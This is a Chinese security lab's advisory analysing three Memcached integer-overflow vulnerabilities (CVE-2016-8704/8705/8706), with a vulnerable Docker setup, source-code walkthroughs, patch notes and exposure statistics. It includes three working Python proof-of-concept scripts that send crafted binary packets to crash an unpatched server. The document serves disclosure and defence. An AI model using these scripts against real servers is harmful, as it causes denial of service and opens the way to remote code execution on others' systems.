Author: p0wd3r, dawu (知道创宇404安全实验室)
Date: 2016-11-01
Memcached是一个分布式的高速缓存系统,近日研究者发现在其<1.4.33的版本中存在三个整数溢出漏洞(http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html),通过这几个漏洞攻击者可以触发堆溢出进而远程执行任意命令。官方在11月1日发布了升级公告。
任意命令执行
< 1.4.33
Dockerfile:
FROM debian:jessie
# add our user and group first to make sure their IDs get assigned consistently, regardless of whatever dependencies get added
RUN groupadd -r memcache && useradd -r -g memcache memcache
RUN apt-get update && apt-get install -y --no-install-recommends \
libevent-2.0-5 \
&& rm -rf /var/lib/apt/lists/*
ENV MEMCACHED_VERSION 1.4.32
RUN buildDeps=' \
gcc \
libc6-dev \
libevent-dev \
make \
perl \
wget \
' \
&& set -x \
&& apt-get update && apt-get install -y $buildDeps --no-install-recommends \
&& rm -rf /var/lib/apt/lists/* \
&& wget -O memcached.tar.gz "http://memcached.org/files/memcached-$MEMCACHED_VERSION.tar.gz" \
&& mkdir -p /usr/src/memcached \
&& tar -xzf memcached.tar.gz -C /usr/src/memcached --strip-components=1 \
&& rm memcached.tar.gz \
&& cd /usr/src/memcached \
&& ./configure \
&& make -j$(nproc) \
&& make install \
&& cd / && rm -rf /usr/src/memcached \
&& apt-get purge -y --auto-remove $buildDeps
COPY docker-entrypoint.sh /usr/local/bin/
RUN ln -s usr/local/bin/docker-entrypoint.sh /entrypoint.sh # backwards compat
ENTRYPOINT ["docker-entrypoint.sh"]
USER memcache
EXPOSE 11211
CMD ["memcached", "-vv"]
docker-entrypoint.sh:
#!/bin/sh
set -e
# first arg is `-f` or `--some-option`
if [ "${1#-}" != "$1" ]; then
set -- memcached "$@"
fi
exec "$@"
docker run --name mem-vuln memcached:vuln
漏洞作者已经提供了很详细的描述,在这里仅做简单的翻译和整理。
Memcached支持两种协议来存取数据:ASCII和binary,当我们用binary存取时会出现漏洞。
三个漏洞的触发点均在item.c
中的do_item_alloc
函数中,关键部分如下:
size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);
...
it = slabs_alloc(ntotal, id, &total_bytes, 0);
...
memcpy(ITEM_key(it), key, nkey);
it->exptime = exptime;
memcpy(ITEM_suffix(it), suffix, (size_t)nsuffix);
it->nsuffix = nsuffix;
程序根据用户可控的nkey
和nbytes
来创建分配内存的大小,然后将另一个可控的key
拷贝到分配的内存区域中,在这个函数汇总并没有对数据长度进行检测,所以如果key
的大小 > 分配空间的大小,则会导致堆溢出。
下面分别看这三个漏洞:
CVE-2016-8704:
在memcached.c
中,当进行Append (opcode 0x0e), Prepend (opcode 0x0f), AppendQ (0x19), PrependQ (opcode 0x1a) 操作时会进入这样一个分支:
case PROTOCOL_BINARY_CMD_APPEND:
case PROTOCOL_BINARY_CMD_PREPEND:
if (keylen > 0 && extlen == 0) {
bin_read_key(c, bin_reading_set_header, 0);
} else {
protocol_error = 1;
}
break;
这里并仅检查了key的长度,并没有检查body的长度。
解析完binary后程序进入了process_bin_append_prepend
函数中:
assert(c != NULL);
key = binary_get_key(c);
nkey = c->binary_header.request.keylen; [2]
vlen = c->binary_header.request.bodylen - nkey; [3]
if (settings.verbose > 1) {
fprintf(stderr, "Value len is %d\n", vlen);
}
if (settings.detail_enabled) {
stats_prefix_record_set(key, nkey);
}
it = item_alloc(key, nkey, 0, 0, vlen+2); [4]
这里取我们请求中keylen
和bodylen
,然后并没有做长度检测,最后调用item_alloc
来存储数据,而item_alloc
是之前提到的do_item_alloc
的封装,所以最后在do_item_alloc
中触发溢出。
PoC:
import struct
import socket
import sys
MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_PREPEND_Q = "\x1a"
key_len = struct.pack("!H",0xfa)
extra_len = "\x00"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I",0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
body = "A"*1024
if len(sys.argv) != 3:
print "./poc_crash.py <server> <port>"
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body
set_packet = "set testkey 0 60 4\r\ntest\r\n"
get_packet = "get testkey\r\n"
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s1.connect((sys.argv[1],int(sys.argv[2])))
s1.sendall(set_packet)
print s1.recv(1024)
s1.close()
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((sys.argv[1],int(sys.argv[2])))
s2.sendall(packet)
print s2.recv(1024)
s2.close()
s3 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s3.connect((sys.argv[1],int(sys.argv[2])))
s3.sendall(get_packet)
s3.recv(1024)
s3.close()
Crash:
CVE-2016-8705:
在memcached.c
中,当进行Set (opcode 0x01),Add (opcode 0x02), Replace (opcode 0x03) ,SetQ (opcode 0x11), AddQ (opcode 0x12) ,ReplaceQ (opcode 0x13)作时会进入这样一个分支:
case PROTOCOL_BINARY_CMD_SET: /* FALLTHROUGH */
case PROTOCOL_BINARY_CMD_ADD: /* FALLTHROUGH */
case PROTOCOL_BINARY_CMD_REPLACE:
if (extlen == 8 && keylen != 0 && bodylen >= (keylen + 8)) {
bin_read_key(c, bin_reading_set_header, 8);
} else {
protocol_error = 1;
}
在这里需满足bodylen >= (keylen + 8)
,这里要注意的是各变量类型如下:
int extlen = c->binary_header.request.extlen;
int keylen = c->binary_header.request.keylen;
uint32_t bodylen = c->binary_header.request.bodylen;
解析后程序进入process_bin_update
:
static void process_bin_update(conn *c) {
char *key;
int nkey;
int vlen;
item *it;
protocol_binary_request_set* req = binary_get_request(c);
assert(c != NULL);
key = binary_get_key(c);
nkey = c->binary_header.request.keylen;
/* fix byteorder in the request */
req->message.body.flags = ntohl(req->message.body.flags);
req->message.body.expiration = ntohl(req->message.body.expiration);
vlen = c->binary_header.request.bodylen - (nkey + c->binary_header.request.extlen);
...
it = item_alloc(key, nkey, req->message.body.flags,
realtime(req->message.body.expiration), vlen+2);
由于bodylen
为无符号整形,在赋值给整形的vlen
时会做类型转换,这样导致当我们设置bodylen
最高位为1时在转换成整形时bodylen
会变成一个负数,最后vlen
也就成了一个负数,进而调用item_alloc
触发漏洞。
PoC:
import struct
import socket
import sys
MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_ADD = "\x02"
key_len = struct.pack("!H",0xfa)
extra_len = "\x08"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I",0xffffffd0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
extras_flags = 0xdeadbeef
extras_expiry = struct.pack("!I",0xe10)
body = "A"*1024
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body
if len(sys.argv) != 3:
print "./poc_add.py <server> <port>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
s.close()
Crash:
CVE-2016-8706:
在使用SASL进行认证时,进入process_bin_sasl_auth
函数:
static void process_bin_sasl_auth(conn *c) {
// Guard for handling disabled SASL on the server.
if (!settings.sasl) {
write_bin_error(c, PROTOCOL_BINARY_RESPONSE_UNKNOWN_COMMAND, NULL,
c->binary_header.request.bodylen
- c->binary_header.request.keylen);
return;
}
assert(c->binary_header.request.extlen == 0);
int nkey = c->binary_header.request.keylen;
int vlen = c->binary_header.request.bodylen - nkey;
if (nkey > MAX_SASL_MECH_LEN) {
write_bin_error(c, PROTOCOL_BINARY_RESPONSE_EINVAL, NULL, vlen);
c->write_and_go = conn_swallow;
return;
}
char *key = binary_get_key(c);
assert(key);
item *it = item_alloc(key, nkey, 0, 0, vlen);
同第一漏洞,只要bodylen
小于keylen
即可。
PoC:
import struct
import socket
import sys
MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_SET = "\x21"
key_len = struct.pack("!H",32)
body_len = struct.pack("!I",1)
packet = MEMCACHED_REQUEST_MAGIC + OPCODE_SET + key_len + body_len*2 + "A"*1000
if len(sys.argv) != 3:
print "./poc_sasl.py <server> <ip>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
s.close()
Crash:
在分配内存前检查了数据的大小,在sasl认证的函数中更改了数据类型并检查大小。
zoomeye搜索关键词为: app:memcached,一共搜索到59756条结果,分布如下:
其中,中美两国收影响设备居多。以下是zoomeye中中国各省受影响主机分布:
升级至1.4.33 (https://github.com/memcached/memcached/wiki/ReleaseNotes1433)
https://www.seebug.org/vuldb/ssvid-92505
https://www.seebug.org/vuldb/ssvid-92506
https://www.seebug.org/vuldb/ssvid-92507
https://github.com/memcached/memcached/wiki/ReleaseNotes1433
http://blog.talosintel.com/2016/10/memcached-vulnerabilities.html
http://www.talosintelligence.com/reports/TALOS-2016-0219/
http://www.talosintelligence.com/reports/TALOS-2016-0220/
http://www.talosintelligence.com/reports/TALOS-2016-0221/